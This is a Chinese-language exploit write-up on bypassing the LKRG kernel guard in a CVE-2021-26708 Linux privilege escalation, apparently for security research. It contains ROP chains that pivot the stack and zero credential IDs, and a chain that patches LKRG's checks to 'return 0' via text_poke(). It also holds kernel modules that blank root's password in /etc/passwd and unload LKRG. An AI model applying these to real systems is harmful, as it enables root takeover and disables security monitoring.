文章目录
绕过LKRG总结:构造ROP链给两个函数打patch,p_check_integrity()
(负责检查内核完整性)和p_cmp_creds()
(负责检查进程凭证)。补丁程序为0x48 0x31 0xc0 0xc3
,也就是xor rax, rax ; ret
或return 0
,打完补丁后提权即可。打补丁函数采用void *text_poke(void *addr, const void *opcode, size_t len)
,kprobes中也用到了该函数。
1. 回顾CVE-2021-26708利用
利用UAF 4字节写漏洞来修改msg_msg->security
,构造更一般的UAF;最后伪造skb_shared_info.destructor_arg
回调函数来劫持控制流,构造任意写。
void (*callback)(struct ubuf_info *, bool zerocopy_success);
当内核调用skb_zcopy_clear()
时,RDI
指向ubuf_info
结构(用户可控,前8字节为待伪造的回调函数地址),RSI
为1。
// [1] 完美gadget,直接劫持栈,但找不到
mov rsp, qword ptr [rdi + 8] ; ret
// [2] vmlinuz-5.10.11-200.fc33.x86_64 中找到如下gadget
mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rdx + rcx*8], rsi ; ret
缺点:利用gadget [2]
可以向uid
/ gid
/ effective uid
/ effective gid
写0 提权,但是缺点是需要2次劫持控制流,降低了exp的稳定性。没有充分利用ROP的优势。
2. 可控的寄存器
在skb_zcopy_clear()
调用destructor_arg
回调函数时下断,观察寄存器状态:
$ gdb vmlinux
gdb-peda$ target remote :1234
gdb-peda$ break ./include/linux/skbuff.h:1481
寄存器状态:
RDI
/R8
:ubuf_info
指针R9
/RSP
:栈指针R12
/R14
:堆指针RBP
:指向skb_shared_info
——sk_buff->head + 0xec0
,可控!
3. 尝试JOP
找到很多如下类似的gadge:可以使RSP指向用户空间,然后跳转到可控的地址。
// acpi_idle_lpi_enter()
0xffffffff81711d33 : xchg eax, esp ; jmp qword ptr [rbp + 0x48]
问题:很奇怪,动态运行时,该位置处的代码改变了。
原因:acpi_idle_lpi_enter()
在运行时被 CONFIG_DYNAMIC_FTRACE
修改了。
解决:在动态运行的代码中搜索ROP/JOP。
# 先确定text地址
[root@localhost ~]# grep "_text" /proc/kallsyms
ffffffff81000000 T _text
[root@localhost ~]# grep "_etext" /proc/kallsyms
ffffffff81e026d7 T _etext
# dump 内存
gdb-peda$ dumpmem kerndump 0xffffffff81000000 0xffffffff81e03000
Dumped 14692352 bytes to 'kerndump'
# 采用 ROPgadget 搜索 ROP/JOP
$ ./ROPgadget.py --binary kerndump --rawArch=x86 --rawMode=64 > rop_gadgets_5.10.11_kerndump
4. ROP/JOP chain 劫持栈
寻找RBP跳转相关的gadget(RBP可控),来劫持栈。
- (1)首先保存RSP低32字节,便于最后恢复RSP(没有找到可直接保存RSP的gadget,但可以利用
R9
来保存高4字节); - (2)将
RDI
——ubuf_info
结构地址压栈; - (3)
RSP
指向ubuf_info
结构,可控。
/* JOP/ROP gadget chain for stack pivoting: */
/* mov ecx, esp ; cwde ; jmp qword ptr [rbp + 0x48] */
#define STACK_PIVOT_1_MOV_ECX_ESP_JMP (0xFFFFFFFF81768A43lu + kaslr_offset)
/* push rdi ; jmp qword ptr [rbp - 0x75] */
#define STACK_PIVOT_2_PUSH_RDI_JMP (0xFFFFFFFF81B5FD0Alu + kaslr_offset)
/* pop rsp ; pop rbx ; ret */
#define STACK_PIVOT_3_POP_RSP_POP_RBX_RET (0xFFFFFFFF8165E33Flu + kaslr_offset)
/* mov ecx, esp ; cwde ; jmp qword ptr [rbp + 0x48] */
uinfo_p->callback = STACK_PIVOT_1_MOV_ECX_ESP_JMP;
unsigned long *jmp_addr_1 = (unsigned long *)(xattr_addr + SKB_SHINFO_OFFSET + 0x48);
/* push rdi ; jmp qword ptr [rbp - 0x75] */
*jmp_addr_1 = STACK_PIVOT_2_PUSH_RDI_JMP;
unsigned long *jmp_addr_2 = (unsigned long *)(xattr_addr + SKB_SHINFO_OFFSET - 0x75);
/* pop rsp ; pop rbx ; ret */
*jmp_addr_2 = STACK_PIVOT_3_POP_RSP_POP_RBX_RET;
以下是sk_buff
堆喷的构造示意图:
5. ROP提权
提权思路:前文已利用任意读泄露了owner_cred
地址,构造ROP修改uid
/ gid
/ effective uid
/ effective gid
为0即可。
unsigned long *rop_gadget = (unsigned long *)(xattr_addr + MY_UINFO_OFFSET + 8);
int i = 0;
#define ROP_POP_RAX_RET (0xFFFFFFFF81015BF4lu + kaslr_offset)
#define ROP_MOV_QWORD_PTR_RAX_0_RET (0xFFFFFFFF8112E6D7lu + kaslr_offset)
/* 1. Perform privilege escalation */
rop_gadget[i++] = ROP_POP_RAX_RET; /* pop rax ; ret */
rop_gadget[i++] = owner_cred + CRED_UID_GID_OFFSET;
rop_gadget[i++] = ROP_MOV_QWORD_PTR_RAX_0_RET; /* mov qword ptr [rax], 0 ; ret */
rop_gadget[i++] = ROP_POP_RAX_RET; /* pop rax ; ret */
rop_gadget[i++] = owner_cred + CRED_EUID_EGID_OFFSET;
rop_gadget[i++] = ROP_MOV_QWORD_PTR_RAX_0_RET; /* mov qword ptr [rax], 0 ; ret */
恢复RSP:需恢复RSP并继续系统调用处理。RCX
保存了RSP
低32位,R9
保存了RSP
高32位,可以一同恢复RSP
。没有找到mov rsp, rax ; ret
gadget,所以需通过RBX
间接传递。
#define ROP_MOV_RAX_R9_RET (0xFFFFFFFF8106BDA4lu + kaslr_offset)
#define ROP_POP_RDX_RET (0xFFFFFFFF8105ED4Dlu + kaslr_offset)
#define ROP_AND_RAX_RDX_RET (0xFFFFFFFF8101AD34lu + kaslr_offset)
#define ROP_ADD_RAX_RCX_RET (0xFFFFFFFF8102BA35lu + kaslr_offset)
#define ROP_PUSH_RAX_POP_RBX_RET (0xFFFFFFFF810D64D1lu + kaslr_offset)
#define ROP_PUSH_RBX_POP_RSP_RET (0xFFFFFFFF810749E9lu + kaslr_offset)
/* 2. Restore RSP and continue */
rop_gadget[i++] = ROP_MOV_RAX_R9_RET; /* mov rax, r9 ; ret */
rop_gadget[i++] = ROP_POP_RDX_RET; /* pop rdx ; ret */
rop_gadget[i++] = 0xffffffff00000000lu;
rop_gadget[i++] = ROP_AND_RAX_RDX_RET; /* and rax, rdx ; ret */
rop_gadget[i++] = ROP_ADD_RAX_RCX_RET; /* add rax, rcx ; ret */
rop_gadget[i++] = ROP_PUSH_RAX_POP_RBX_RET; /* push rax ; pop rbx ; ret */
rop_gadget[i++] = ROP_PUSH_RBX_POP_RSP_RET; /* push rbx ; add eax, 0x415d0060 ; pop rsp ; ret*/
6. LKRG介绍
LKRG简介:全称Linux Kernel Runtime Guard,是一个在 Linux 内核执行运行时完整性检查的可加载内核模块(LKM),也可以检测正在运行的进程的提权行为,在漏洞利用代码运行之前杀掉这个运行进程。经过测试,安装LKRG v0.8 后大约会产生 2.5% 性能影响,LKRG 能检测到CVE-2014-9322 (BadIRET)、CVE-2017-5123 (waitid(2) missing access_ok)、以及 CVE-2017-6074 (use-after-free in DCCP protocol) 的漏洞利用企图,但是没有检测到 CVE-2016-5195 (Dirty COW) 的漏洞利用企图。
LKRG防御手段:参见LKRG anti-exploit functionality。
- 防止非法提权(EoP)
- Token / pointer swapping
- 非法调用
commit_creds()
函数 - 覆写
struct cred
结构
- 沙盒(eg,Chrome Sandbox中覆写seccomp配置和规则)、命名空间、容器(eg,Doker/Kubernetes)逃逸
- 非法篡改CPU状态(例如,x86中关闭SMEP / SMAP)
- 非法修改内核的
.text
和.rodata
段 - pCFI(Poor man’s CFI)机制:检查内核栈迁移和ROP,检测非法控制流(非
.text
节、动态生成的可执行页、用户页、当攻击者绕过SMEP)
例如,可检测到从非代码页调用内核API(CVE-2017-1000112,从伪造的栈上调用内核API),pCFI检测ROP(CVE-2017-1000112,错误的栈基址、错误的栈指针),检测进程的UID发生变化(0->1000)
LKRG绕过思路:
-
Fly under LKRG’s radar:
- Overwrite critical metadata not guarded by LKRG
- Try to win races
- Move attack to userspace
-
Attack (disable) LKRG and continue normal work:
- Try to win races (corrupting LKRG’s database)
- Attack LKRG’s internal synchronization / locking
- Find all LKRG’s running contexts and disable them + block a new one
-
Directly attack the userspace via kernel (e.g. DirtyCOW)
LKRG完整性保护:
-
Calculate hash from the critical [meta]data – SipHash
-
Guarded regions:
-
Critical (V)CPU/core data – Inter-Processor-Interrupt (IPI) is sent to the individual core in all (V)CPUs to exclusively run LKRG’s guard function (IDT/MSR/CRx/etc.)
- LKRG keeps information about how many (V)CPU/cores are „online” / „offline” / „possible”
-
Entire Linux kernel .text section
- This covers almost entire Linux kernel itself, like syscall tables, all procedures, all function, all IRQ handlers, etc.
-
Entire Linux kernel .rodata section
-
Entire Linux kernel exception table
-
Critical global system variables, like:
- selinux_enabled
- selinux_enforcing / selinux_state
- Supervisor Mode Execution Protection (SMEP) and Supervisor Mode Access Prevention (SMAP)
- CR4.WP
-
All dynamically loaded modules AND their order in the internal structures
-
Optionally,it is possible to enable guard of the entire IOMMU table
现有的绕过方法:Ilya Matveychikov尝试过各种方法来绕过LKRG,但 Adam ‘pi3’ Zabrocki 对LKRG进行了加固—— improved LKRG 。
- (1)利用
call_usermodehelper和
chmod+chown`来修改 shell binary 的权限; - (2)利用
simple_setattr()
覆盖inode->i_{uid,gid,mode}
来修改 shell binary 的权限; - (3)直接覆盖
inode->i_{uid,gid,mode}
,修改 shell binary 的 inode(file) 特性,使之属于root; - (4)LKRG 0.6 引入了基于软件的CFI(pCFI),遍历调用栈,检查栈上地址是否超出 kernel text范围。绕过方法是,先保存栈内容,替换栈上返回地址指向kernel text有效地址,然后提权(调用
schedule_on_each_cpu()
推迟提权,调用module_alloc()
来分配可执行可写内存,存放提权的shellcode),再恢复栈内容; - (5)
all_usermodehelper (ld_preload)
在 LKRG 6.0 的白名单中;绕过UMH locking by using whitelist of programs
机制,可以向/sbin/modprobe
插入payload。 - (6)关闭
kprobes
; - (7)修改
/etc/shadow
。
尝试1——改/etc/passwd
:由于LKRG没有追踪/etc/passwd
的访问,可通过修改root密码再执行su
来绕过LKRG。
写如下内核模块进行测试,修改/etc/passwd
为 root::0:0:root:/root:/bin/bash\n
。作者在ROP链中执行filp_open()
和 kernel_write()
,但是打开/etc/passwd
时失败了,可能是在内核打开文件时检查了进程凭证和SELinux metadata,在调用filp_open()
之前覆写这些数据也不行,因为LKRG会追踪并杀死该进程。
#include <linux/module.h>
#include <linux/kallsyms.h>
static int __init pwdhack_init(void)
{
struct file *f = NULL;
char *str = "root::0:0:root:/root:/bin/bash\n";
ssize_t wret;
loff_t pos = 0;
pr_notice("pwdhack: init\n");
f = filp_open("/etc/passwd", O_WRONLY, 0);
if (IS_ERR(f)) {
pr_err("pwdhack: filp_open() failed\n");
return -ENOENT;
}
wret = kernel_write(f, str, strlen(str), &pos);
printk("pwdhack: kernel_write() returned %ld\n", wret);
pr_notice("pwdhack: done\n");
return 0;
}
static void __exit pwdhack_exit(void)
{
pr_notice("pwdhack: exit\n");
}
module_init(pwdhack_init)
module_exit(pwdhack_exit)
MODULE_LICENSE("GPL v2");
尝试2——卸载LKRG:先采用如下模块进行测试,成功卸载。作者在ROP中调用find_module()
和LKRG exit()
,但是失败了,在执行p_lkrg_deregister()
过程中,LKRG调用了schedule()
内核函数来进行pCFI
检查,检测到栈迁移的行为并杀死了exp进程。
#include <linux/module.h>
#include <linux/kallsyms.h>
static int __init destroy_lkrg_init(void)
{
struct module *lkrg_mod = find_module("p_lkrg");
if (!lkrg_mod) {
pr_notice("destroy_lkrg: p_lkrg module is NOT found\n");
return -ENOENT;
}
if (!lkrg_mod->exit) {
pr_notice("destroy_lkrg: p_lkrg module has no exit method\n");
return -ENOENT;
}
pr_notice("destroy_lkrg: p_lkrg module is found, remove it brutally!\n");
lkrg_mod->exit();
return 0;
}
static void __exit destroy_lkrg_exit(void)
{
pr_notice("destroy_lkrg: exit\n");
}
module_init(destroy_lkrg_init)
module_exit(destroy_lkrg_exit)
MODULE_LICENSE("GPL v2");
尝试3——禁用kprobes
:LKRG会采用kprobes
和kretprobes
来安插 checking hooks。首先尝试用debugfs
接口执行命令echo 0 > /sys/kernel/debug/kprobes/enabled
来禁用kprobes
,但是发现内核似乎陷入了死锁。调试LKRG也很困难,只要用gdb下断点,就会改变内核代码,LKRG的并行线程会检测到内核完整性被破坏,内核会意外崩溃,无法弄清内核发生了什么。
7. 成功绕过LKRG
绕过LKRG思路:构造ROP链给两个函数打patch,p_check_integrity()
(负责检查内核完整性)和p_cmp_creds()
(负责检查进程凭证)。补丁程序为0x48 0x31 0xc0 0xc3
,也就是xor rax, rax ; ret
或return 0
,打完补丁后提权即可。
unsigned long *rop_gadget = (unsigned long *)(xattr_addr + MY_UINFO_OFFSET + 8);
int i = 0;
#define SAVED_RSP_OFFSET 3400
#define ROP_MOV_RAX_R9_RET (0xFFFFFFFF8106BDA4lu + kaslr_offset)
#define ROP_POP_RDX_RET (0xFFFFFFFF8105ED4Dlu + kaslr_offset)
#define ROP_AND_RAX_RDX_RET (0xFFFFFFFF8101AD34lu + kaslr_offset)
#define ROP_ADD_RAX_RCX_RET (0xFFFFFFFF8102BA35lu + kaslr_offset)
#define ROP_MOV_RDX_RAX_RET (0xFFFFFFFF81999A1Dlu + kaslr_offset)
#define ROP_POP_RAX_RET (0xFFFFFFFF81015BF4lu + kaslr_offset)
#define ROP_MOV_QWORD_PTR_RAX_RDX_RET (0xFFFFFFFF81B6CB17lu + kaslr_offset)
/* 1. Save RSP */
rop_gadget[i++] = ROP_MOV_RAX_R9_RET; /* mov rax, r9 ; ret */
rop_gadget[i++] = ROP_POP_RDX_RET; /* pop rdx ; ret */
rop_gadget[i++] = 0xffffffff00000000lu;
rop_gadget[i++] = ROP_AND_RAX_RDX_RET; /* and rax, rdx ; ret */
rop_gadget[i++] = ROP_ADD_RAX_RCX_RET; /* add rax, rcx ; ret */
rop_gadget[i++] = ROP_MOV_RDX_RAX_RET; /* mov rdx, rax ; shr rax, 0x20 ; xor eax, edx ; ret */
rop_gadget[i++] = ROP_POP_RAX_RET; /* pop rax ; ret */
rop_gadget[i++] = uaf_write_value + SAVED_RSP_OFFSET;
rop_gadget[i++] = ROP_MOV_QWORD_PTR_RAX_RDX_RET; /* mov qword ptr [rax], rdx ; ret */
保存RSP:根据ECX
和R9
来重构RSP
,并保存到sk_buff
区域——SAVED_RSP_OFFSET
。
#define KALLSYMS_LOOKUP_NAME (0xffffffff81183dc0lu + kaslr_offset)
#define FUNCNAME_OFFSET_1 3550
#define ROP_POP_RDI_RET (0xFFFFFFFF81004652lu + kaslr_offset)
#define ROP_JMP_RAX (0xFFFFFFFF81000087lu + kaslr_offset)
/* 2. Destroy lkrg : part 1 */
rop_gadget[i++] = ROP_POP_RAX_RET; /* pop rax ; ret */
rop_gadget[i++] = KALLSYMS_LOOKUP_NAME;
/* unsigned long kallsyms_lookup_name(const char *name) */
rop_gadget[i++] = ROP_POP_RDI_RET; /* pop rdi ; ret */
rop_gadget[i++] = uaf_write_value + FUNCNAME_OFFSET_1;
strncpy((char *)xattr_addr + FUNCNAME_OFFSET_1, "p_cmp_creds", 12);
rop_gadget[i++] = ROP_JMP_RAX; /* jmp rax */
搜索p_cmp_creds()
地址:ROP链调用kallsyms_lookup_name("p_cmp_creds")
来查找p_cmp_creds()
函数地址,在sk_buff
的 FUNCNAME_OFFSET_1
偏移处保存"p_cmp_creds"
字符串。lkrg.hide
配置选项默认为0,所以攻击者可以调用kallsyms_lookup_name()
找到LKRG函数,也有其他方法来找到这些函数的地址。
#define XOR_RAX_RAX_RET (0xFFFFFFFF810859C0lu + kaslr_offset)
#define ROP_TEST_RAX_RAX_CMOVE_RAX_RDX_RET (0xFFFFFFFF81196AA2lu + kaslr_offset)
/* If lkrg function is not found, let's patch "xor rax, rax ; ret" */
rop_gadget[i++] = ROP_POP_RDX_RET; /* pop rdx ; ret */
rop_gadget[i++] = XOR_RAX_RAX_RET;
rop_gadget[i++] = ROP_TEST_RAX_RAX_CMOVE_RAX_RDX_RET; /* test rax, rax ; cmove rax, rdx ; ret*/
kallsyms_lookup_name()
函数返回RAX就是p_cmp_creds()
的地址,如果kallsyms_lookup_name()
返回NULL,则表示LKRG没有加载。为了处理这两种情况,作者采用了这种构造技巧:
- (1)找到gadget
xor rax, rax ; ret
,记为XOR_RAX_RAX_RET
; - (2)将
XOR_RAX_RAX_RET
载入RDX
; - (3)如果
kallsyms_lookup_name("p_cmp_creds")
返回NULL,则将返回值RAX置为XOR_RAX_RAX_RET
,采用gadgettest rax, rax ; cmove rax, rdx ; ret
中的条件mov指令(cmove
)完成。
如果加载了LKRG,则将p_cmp_creds()
打补丁为xor rax, rax ; ret
;相反,如果没加载LKRG,则将xor rax, rax ; ret
打补丁为一样的内容,避免内核崩溃。
#define TEXT_POKE (0xffffffff81031300lu + kaslr_offset)
#define CODE_PATCH_OFFSET 3450
#define ROP_MOV_RDI_RAX_POP_RBX_RET (0xFFFFFFFF81020ABDlu + kaslr_offset)
#define ROP_POP_RSI_RET (0xFFFFFFFF810006A4lu + kaslr_offset)
rop_gadget[i++] = ROP_MOV_RDI_RAX_POP_RBX_RET;
/* mov rdi, rax ; mov eax, ebx ; pop rbx ; or rax, rdi ; ret */
rop_gadget[i++] = 0x1337; /* dummy value for RBX */
rop_gadget[i++] = ROP_POP_RSI_RET; /* pop rsi ; ret */
rop_gadget[i++] = uaf_write_value + CODE_PATCH_OFFSET;
strncpy((char *)xattr_addr + CODE_PATCH_OFFSET, "\x48\x31\xc0\xc3", 5);
rop_gadget[i++] = ROP_POP_RDX_RET; /* pop rdx ; ret */
rop_gadget[i++] = 4;
rop_gadget[i++] = ROP_POP_RAX_RET; /* pop rax ; ret */
rop_gadget[i++] = TEXT_POKE;
/* void *text_poke(void *addr, const void *opcode, size_t len) */
rop_gadget[i++] = ROP_JMP_RAX; /* jmp rax */
打补丁:准备参数并调用text_poke()
来打补丁。
- (1)将
p_cmp_creds()
地址,也即RAX
传给RDI
; - (2)补丁值的地址传给
RSI
,补丁值放在sk_buff
的CODE_PATCH_OFFSET
偏移处,值为0x48 0x31 0xc0 0xc3
; - (3)补丁值的长度4传给
RDX
。
text_poke()
也被用在kprobes
和其他内核机制中,可以更新内核指令(重新映射代码页并调用memcpy()
)。
接着采用相同的步骤来给p_check_integrity()
打补丁。
#define ROP_MOV_QWORD_PTR_RAX_0_RET (0xFFFFFFFF8112E6D7lu + kaslr_offset)
/* 3. Perform privilege escalation */
rop_gadget[i++] = ROP_POP_RAX_RET; /* pop rax ; ret */
rop_gadget[i++] = owner_cred + CRED_UID_GID_OFFSET;
rop_gadget[i++] = ROP_MOV_QWORD_PTR_RAX_0_RET; /* mov qword ptr [rax], 0 ; ret */
rop_gadget[i++] = ROP_POP_RAX_RET; /* pop rax ; ret */
rop_gadget[i++] = owner_cred + CRED_EUID_EGID_OFFSET;
rop_gadget[i++] = ROP_MOV_QWORD_PTR_RAX_0_RET; /* mov qword ptr [rax], 0 ; ret */
/* 4. Restore RSP and continue */
rop_gadget[i++] = ROP_POP_RAX_RET; /* pop rax ; ret */
rop_gadget[i++] = uaf_write_value + SAVED_RSP_OFFSET;
rop_gadget[i++] = ROP_MOV_RAX_QWORD_PTR_RAX_RET; /* mov rax, qword ptr [rax] ; ret */
rop_gadget[i++] = ROP_PUSH_RAX_POP_RBX_RET; /* push rax ; pop rbx ; ret */
rop_gadget[i++] = ROP_PUSH_RBX_POP_RSP_RET;
/* push rbx ; add eax, 0x415d0060 ; pop rsp ; ret */
提权并恢复RSP:提权过后,recv()
系统调用后就有了root权限。
8. 结论与思考
本攻击方法还没有出对应的防护措施。如果LKRG被移植到hypervisor(例如QEMU/KVM)或ARM可信执行环境的FOSS实现(例如OPEN-TEE),漏洞利用难度将会增大。
参考
Improving the exploit for CVE-2021-26708 in the Linux kernel to bypass LKRG